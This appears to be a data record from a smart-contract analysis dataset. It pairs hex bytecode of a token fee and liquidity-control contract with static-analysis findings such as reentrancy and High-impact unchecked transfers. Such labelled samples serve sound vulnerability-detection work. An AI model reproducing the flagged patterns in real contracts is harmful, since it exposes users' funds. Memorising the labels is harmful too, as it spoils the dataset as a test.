ff021916908361ffff16021790555080600c81905550600c544201600d819055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614610868576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f776e6572206f6e6c790000000000000000000000000000000000000000000081525060200191505060405180910390fd5b6108718161308c565b61087a57600080fd5b610946338273ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060206040518083038186803b1580156108e557600080fd5b505afa1580156108f9573d6000803e3d6000fd5b505050506040513d602081101561090f57600080fd5b81019080805190602001909291905050508373ffffffffffffffffffffffffffffffffffffffff166130c59092919063ffffffff16565b50565b600460009054906101000a900460ff1681565b6000806000807f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a439057f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e8d6040518363ffffffff1660e01b81526004016109dd9291906140fb565b60206040518083038186803b1580156109f557600080fd5b505afa158015610a09573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a2d91906139f4565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614158015610acd5750600380811115610a7357fe5b600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166003811115610acb57fe5b145b610b0c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b039061425c565b60405180910390fd5b600460009054906101000a900460ff1615610b2657600080fd5b6001600460006101000a81548160ff02191690831515021790555060008b73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610b7c9190614080565b60206040518083038186803b158015610b9457600080fd5b505afa158015610ba8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610bcc9190613cc8565b9050610bfb33308d8f73ffffffffffffffffffffffffffffffffffffffff16613167909392919063ffffffff16565b7f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e73ffffffffffffffffffffffffffffffffffffffff166323b872dd33308d6040518463ffffffff1660e01b8152600401610c589392919061409b565b602060405180830381600087803b158015610c7257600080fd5b505af1158015610c86573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610caa9190613b21565b507f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e73ffffffffffffffffffffffffffffffffffffffff1663095ea7b37f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8c6040518363ffffffff1660e01b8152600401610d269291906141a2565b602060405180830381600087803b158015610d4057600080fd5b505af1158015610d54573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d789190613b21565b50610dc47f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d8c8e73ffffffffffffffffffffffffffffffffffffffff166132289092919063ffffffff16565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff1663e8e337007f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e8e8d8f8d8f8e8e6040518963ffffffff1660e01b8152600401610e4b989796959493929190614124565b606060405180830381600087803b158015610e6557600080fd5b505af1158015610e79573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e9d9190613cf1565b8095508196508297505050508173ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015610eef57600080fd5b505afa158015610f03573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f279190613cc8565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff16600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161415611003576000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b898510156110bc577f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e73ffffffffffffffffffffffffffffffffffffffff1663a9059cbb33878d036040518363ffffffff1660e01b81526004016110689291906140d2565b602060405180830381600087803b15801561108257600080fd5b505af1158015611096573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110ba9190613b21565b505b611157818d73ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b81526004016110f99190614080565b60206040518083038186803b15801561111157600080fd5b505afa158015611125573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906111499190613cc8565b6132ca90919063ffffffff16565b9050600081111561118e5761118d33828e73ffffffffffffffffffffffffffffffffffffffff166130c59092919063ffffffff16565b5b6000600460006101000a81548160ff02191690831515021790555050509750975097945050505050565b60026020528060005260406000206000915054906101000a900460ff1681565b6000600d5442106111ec576000905061124c565b61123364e8d4a51000611225600c5461121764e8d4a5100042600d540361331490919063ffffffff16565b61339a90919063ffffffff16565b61339a90919063ffffffff16565b600b60189054906101000a900461ffff1661ffff160290505b90565b6000600380549050905090565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461131d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f776e6572206f6e6c790000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611439576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f776e6572206f6e6c790000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b3373ffffffffffffffffffffffffffffffffffffffff16600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146114ee57600080fd5b6000600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055503373ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3336000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146116ad576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f776e6572206f6e6c790000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083600381111561170857fe5b02179055505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16146117d2576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f776e6572206f6e6c790000000000000000000000000000000000000000000081525060200191505060405180910390fd5b60007f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663e6a439057f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e846040518363ffffffff1660e01b815260040161184f9291906140fb565b60206040518083038186803b15801561186757600080fd5b505afa15801561187b573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061189f91906139f4565b9050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156119a6577f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff1663c9c653967f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e846040518363ffffffff1660e01b81526004016119519291906140fb565b602060405180830381600087803b15801561196b57600080fd5b505af115801561197f573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906119a391906139f4565b90505b6000600260008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff169050600380811115611a0357fe5b816003811115611a0f57fe5b1415611a50576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a479061429c565b60405180910390fd5b6003600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690836003811115611aac57fe5b02179055506003839080600181540180825580915050600190039060005260206000200160009091909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508173ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611b5a57600080fd5b505afa158015611b6e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611b929190613cc8565b600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b600060019050611bff8273ffffffffffffffffffffffffffffffffffffffff166133e4565b15611ca2573073ffffffffffffffffffffffffffffffffffffffff1663d8304ae2836040518263ffffffff1660e01b8152600401611c3d9190614080565b60006040518083038186803b158015611c5557600080fd5b505afa925050508015611c66575060015b611c9857611c726144f8565b80611c7d5750611c92565b600281511415611c8c57600291505b50611c93565b5b611ca1565b6000611ca057fe5b5b5b80600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690836003811115611cfd57fe5b0217905550919050565b60056020528060005260406000206000915054906101000a900460ff1681565b600560003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa9061435c565b60405180910390fd5b80600460006101000a81548160ff02191690831515021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000806000600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614611fd2576000600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060008173ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b158015611edc57600080fd5b505afa158015611ef0573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f149190613cc8565b90506000600960008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050808214611fcf57600460009054906101000a900460ff16611f8957808211611f825780611f84565b815b611f8b565b815b600960008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b50505b506000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1690506000600260008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16905060038081111561208157fe5b82600381111561208d57fe5b141580156120b157506003808111156120a257fe5b8160038111156120ae57fe5b14155b156121a157600060038111156120c357fe5b8260038111156120cf57fe5b14156120e1576120de87611bda565b91505b600060038111156120ee57fe5b8160038111156120fa57fe5b141561210c5761210986611bda565b90505b600460009054906101000a900460ff168061216157506002600381111561212f57fe5b82600381111561213b57fe5b1415801561216057506002600381111561215157fe5b81600381111561215d57fe5b14155b5b6121a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121979061425c565b60405180910390fd5b5b6003808111156121ad57fe5b8160038111156121b957fe5b14156122015785600a60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055505b60038081111561220d57fe5b82600381111561221957fe5b14156123f657600460009054906101000a900460ff16156122f6578673ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561227a57600080fd5b505afa15801561228e573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906122b29190613cc8565b600960008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b600960008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548773ffffffffffffffffffffffffffffffffffffffff166318160ddd6040518163ffffffff1660e01b815260040160206040518083038186803b15801561237c57600080fd5b505afa158015612390573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906123b49190613cc8565b10156123f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016123ec9061431c565b60405180910390fd5b5b5050600460009054906101000a900460ff168061245c5750600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b806124b05750600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b156124e357600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166000915091506125d8565b7f0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141561258e57600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff166125626111d8565b612710600b60169054906101000a900461ffff1661ffff1686028161258357fe5b0401915091506125d8565b600b60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16612710600b60149054906101000a900461ffff1661ffff168502816125d257fe5b04915091505b94509492505050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614806126845750600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b6126c3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126ba9061423c565b60405180910390fd5b80600860008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16806127c1575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612800576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127f79061427c565b60405180910390fd5b6107d08161ffff161115612849576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016128409061433c565b60405180910390fd5b80600b60166101000a81548161ffff021916908361ffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461292a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f776e6572206f6e6c790000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600b60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614612a2f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f776e6572206f6e6c790000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b600660003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b2d575060008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b612b6c576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612b639061427c565b60405180910390fd5b6103e88161ffff161115612bb5576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612bac906142bc565b60405180910390fd5b80600b60146101000a81548161ffff021916908361ffff16021790555050565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015612c1b57600080fd5b505afa925050508015612c4c57506040513d601f19601f82011682018060405250810190612c4991906139f4565b60015b612c5557612ece565b7f0000000000000000000000005c69bee701ef814a2b6a3edd4b1652cb9cc5aa6f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ecc578173ffffffffffffffffffffffffffffffffffffffff16630dfe16816040518163ffffffff1660e01b815260040160206040518083038186803b158015612cef57600080fd5b505afa925050508015612d2057506040513d601f19601f82011682018060405250810190612d1d91906139f4565b60015b612d2957612ecb565b7f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612db8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612daf906142fc565b60405180910390fd5b8273ffffffffffffffffffffffffffffffffffffffff1663d21220a76040518163ffffffff1660e01b815260040160206040518083038186803b158015612dfe57600080fd5b505afa925050508015612e2f57506040513d601f19601f82011682018060405250810190612e2c91906139f4565b60015b612e3857612ec9565b7f000000000000000000000000cb5f72d37685c3d5ad0bb5f982443bc8fcdf570e73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415612ec7576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612ebe906142fc565b60405180910390fd5b505b505b5b505b6040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612f00906142dc565b60405180910390fd5b600a60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60066020528060005260406000206000915054906101000a900460ff1681565b60008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614613010576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252600a8152602001807f4f776e6572206f6e6c790000000000000000000000000000000000000000000081525060200191505060405180910390fd5b80600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b60086020528060005260406000206000915054906101000a900460ff1681565b60096020528060005260406000206000915090505481565b60003073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614159050919050565b6131628363a9059cbb60e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506133f7565b505050565b613222846323b872dd60e01b858585604051602401808473ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506133f7565b50505050565b6132c58363095ea7b360e01b8484604051602401808373ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050604051602081830303815290604052907bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19166020820180517bffffffffffffffffffffffffffffffffffffffffffffffffffffffff83818316178352505050506133f7565b505050565b600061330c83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506134e6565b905092915050565b6000808314156133275760009050613394565b600082840290508284828161333857fe5b041461338f576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260218152602001806146836021913960400191505060405180910390fd5b809150505b92915050565b60006133dc83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f0000000000008152506135a6565b905092915050565b600080823b905060008111915050919050565b6060613459826040518060400160405280602081526020017f5361666545524332303a206c6f772d6c6576656c2063616c6c206661696c65648152508573ffffffffffffffffffffffffffffffffffffffff1661366c9092919063ffffffff16565b90506000815111156134e15780806020019051602081101561347a57600080fd5b81019080805190602001909291905050506134e0576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602a8152602001806146a4602a913960400191505060405180910390fd5b5b505050565b6000838311158290613593576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b8381101561355857808201518184015260208101905061353d565b50505050905090810190601f1680156135855780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b60008083118290613652576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156136175780820151818401526020810190506135fc565b50505050905090810190601f1680156136445780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b50600083858161365e57fe5b049050809150509392505050565b606061367b8484600085613684565b90509392505050565b6060824710156136df576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252602681526020018061465d6026913960400191505060405180910390fd5b6136e8856133e4565b61375a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f416464726573733a2063616c6c20746f206e6f6e2d636f6e747261637400000081525060200191505060405180910390fd5b600060608673ffffffffffffffffffffffffffffffffffffffff1685876040518082805190602001908083835b602083106137aa5780518252602082019150602081019050602083039250613787565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d806000811461380c576040519150601f19603f3d011682016040523d82523d6000602084013e613811565b606091505b509150915061382182828661382d565b92505050949350505050565b6060831561383d578290506138f2565b6000835111156138505782518084602001fd5b816040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b838110156138b757808201518184015260208101905061389c565b50505050905090810190601f1680156138e45780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b9392505050565b600081359050613908816145c2565b92915050565b60008151905061391d816145c2565b92915050565b600081359050613932816145d9565b92915050565b600081519050613947816145d9565b92915050565b60008135905061395c816145f0565b92915050565b60008135905061397181614607565b92915050565b6000813590506139868161461e565b92915050565b60008135905061399b8161462e565b92915050565b6000813590506139b081614645565b92915050565b6000815190506139c581614645565b92915050565b6000602082840312156139dd57600080fd5b60006139eb848285016138f9565b91505092915050565b600060208284031215613a0657600080fd5b6000613a148482850161390e565b91505092915050565b60008060008060808587031215613a3357600080fd5b6000613a41878288016138f9565b9450506020613a52878288016138f9565b9350506040613a63878288016138f9565b9250506060613a74878288016139a1565b91505092959194509250565b60008060408385031215613a9357600080fd5b6000613aa1858286016138f9565b9250506020613ab285828601613923565b9150509250929050565b60008060408385031215613acf57600080fd5b6000613add858286016138f9565b9250506020613aee85828601613977565b9150509250929050565b600060208284031215613b0a57600080fd5b6000613b1884828501613923565b91505092915050565b600060208284031215613b3357600080fd5b6000613b4184828501613938565b91505092915050565b600060208284031215613b5c57600080fd5b6000613b6a8482850161394d565b91505092915050565b600060208284031215613b8557600080fd5b6000613b9384828501613962565b91505092915050565b600080600080600080600060e0888a031215613bb757600080fd5b6000613bc58a828b01613962565b9750506020613bd68a828b016139a1565b9650506040613be78a828b016139a1565b9550506060613bf88a828b016139a1565b9450506080613c098a828b016139a1565b93505060a0613c1a8a828b016138f9565b92505060c0613c2b8a828b016139a1565b91505092959891949750929550565b600060208284031215613c4c57600080fd5b6000613c5a8482850161398c565b91505092915050565b60008060408385031215613c7657600080fd5b6000613c848582860161398c565b9250506020613c95858286016139a1565b9150509250929050565b600060208284031215613cb157600080fd5b6000613cbf848285016139a1565b91505092915050565b600060208284031215613cda57600080fd5b6000613ce8848285016139b6565b91505092915050565b600080600060608486031215613d0657600080fd5b6000613d14868287016139b6565b9350506020613d25868287016139b6565b9250506040613d36868287016139b6565b9150509250925092565b613d498161446c565b82525050565b613d58816143df565b82525050565b613d67816143f1565b82525050565b613d768161447e565b82525050565b613d85816144a2565b82525050565b6000613d98602c836143ce565b91507f46656520726174652073686f756c64206265206c657373207468616e206f722060008301527f657175616c20746f2031302500000000000000000000000000000000000000006020830152604082019050919050565b6000613dfe6020836143ce565b91507f4e6f7420616e204f776e6572206f722046726565205061727469636970616e746000830152602082019050919050565b6000613e3e6011836143ce565b91507f506f6f6c206e6f7420617070726f7665640000000000000000000000000000006000830152602082019050919050565b6000613e7e601e836143ce565b91507f4e6f7420616e206f776e6572206f722066656520636f6e74726f6c6c657200006000830152602082019050919050565b6000613ebe600f836143ce565b91507f416c726561647920616c6c6f77656400000000000000000000000000000000006000830152602082019050919050565b6000613efe6005836143ce565b91507f3e203130250000000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000613f3e6001836143ce565b91507f31000000000000000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000613f7e6002836143ce565b91507f32320000000000000000000000000000000000000000000000000000000000006000830152602082019050919050565b6000613fbe6017836143ce565b91507f43616e6e6f742072656d6f7665206c69717569646974790000000000000000006000830152602082019050919050565b6000613ffe6005836143ce565b91507f3e203230250000000000000000000000000000000000000000000000000000006000830152602082019050919050565b600061403e601e836143ce565b91507f4e6f7420616e20756e7265737472696374656420636f6e74726f6c6c657200006000830152602082019050919050565b61407a81614462565b82525050565b60006020820190506140956000830184613d4f565b92915050565b60006060820190506140b06000830186613d40565b6140bd6020830185613d4f565b6140ca6040830184614071565b949350505050565b60006040820190506140e76000830185613d40565b6140f46020830184614071565b9392505050565b60006040820190506141106000830185613d4f565b61411d6020830184613d4f565b9392505050565b60006101008201905061413a600083018b613d4f565b614147602083018a613d4f565b6141546040830189614071565b6141616060830188614071565b61416e6080830187614071565b61417b60a0830186614071565b61418860c0830185613d4f565b61419560e0830184614071565b9998505050505050505050565b60006040820190506141b76000830185613d4f565b6141c46020830184614071565b9392505050565b60006020820190506141e06000830184613d5e565b92915050565b60006020820190506141fb6000830184613d6d565b92915050565b60006020820190506142166000830184613d7c565b92915050565b6000602082019050818103600083015261423581613d8b565b9050919050565b6000602082019050818103600083015261425581613df1565b9050919050565b6000602082019050818103600083015261427581613e31565b9050919050565b6000602082019050818103600083015261429581613e71565b9050919050565b600060208201905081810360008301526142b581613eb1565b9050919050565b600060208201905081810360008301526142d581613ef1565b9050919050565b600060208201905081810360008301526142f581613f31565b9050919050565b6000602082019050818103600083015261431581613f71565b9050919050565b6000602082019050818103600083015261433581613fb1565b9050919050565b6000602082019050818103600083015261435581613ff1565b9050919050565b6000602082019050818103600083015261437581614031565b9050919050565b60006020820190506143916000830184614071565b92915050565b60006060820190506143ac6000830186614071565b6143b96020830185614071565b6143c66040830184614071565b949350505050565b600082825260208201905092915050565b60006143ea82614442565b9050919050565b60008115159050919050565b6000614408826143df565b9050919050565b600061441a826143df565b9050919050565b600081905061442f826145ae565b919050565b600061ffff82169050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b6000614477826144b4565b9050919050565b600061448982614490565b9050919050565b600061449b82614442565b9050919050565b60006144ad82614421565b9050919050565b60006144bf826144c6565b9050919050565b60006144d182614442565b9050919050565bfe5b6000601f19601f8301169050919050565b60008160e01c9050919050565b600060443d1015614508576145ab565b60046000803e6145196000516144eb565b6308c379a0811461452a57506145ab565b60405160043d036004823e80513d602482011167ffffffffffffffff82111715614556575050506145ab565b808201805167ffffffffffffffff8111156145755750505050506145ab565b8060208301013d8501811115614590575050505050506145ab565b614599826144da565b60208401016040528296505050505050505b90565b600481106145bf576145be6144d8565b5b50565b6145cb816143df565b81146145d657600080fd5b50565b6145e2816143f1565b81146145ed57600080fd5b50565b6145f9816143fd565b811461460457600080fd5b50565b6146108161440f565b811461461b57600080fd5b50565b6004811061462b57600080fd5b50565b61463781614434565b811461464257600080fd5b50565b61464e81614462565b811461465957600080fd5b5056fe416464726573733a20696e73756666696369656e742062616c616e636520666f722063616c6c536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f775361666545524332303a204552433230206f7065726174696f6e20646964206e6f742073756363656564a2646970667358221220287166860d2555b1696377888aa76ba246dfa068dfcc8ba502b2d23bb4a5395c64736f6c63430007040033
{"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}, {"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "uninitialized-local", "impact": "Medium", "confidence": "Medium"}, {"check": "unchecked-transfer", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
true
null
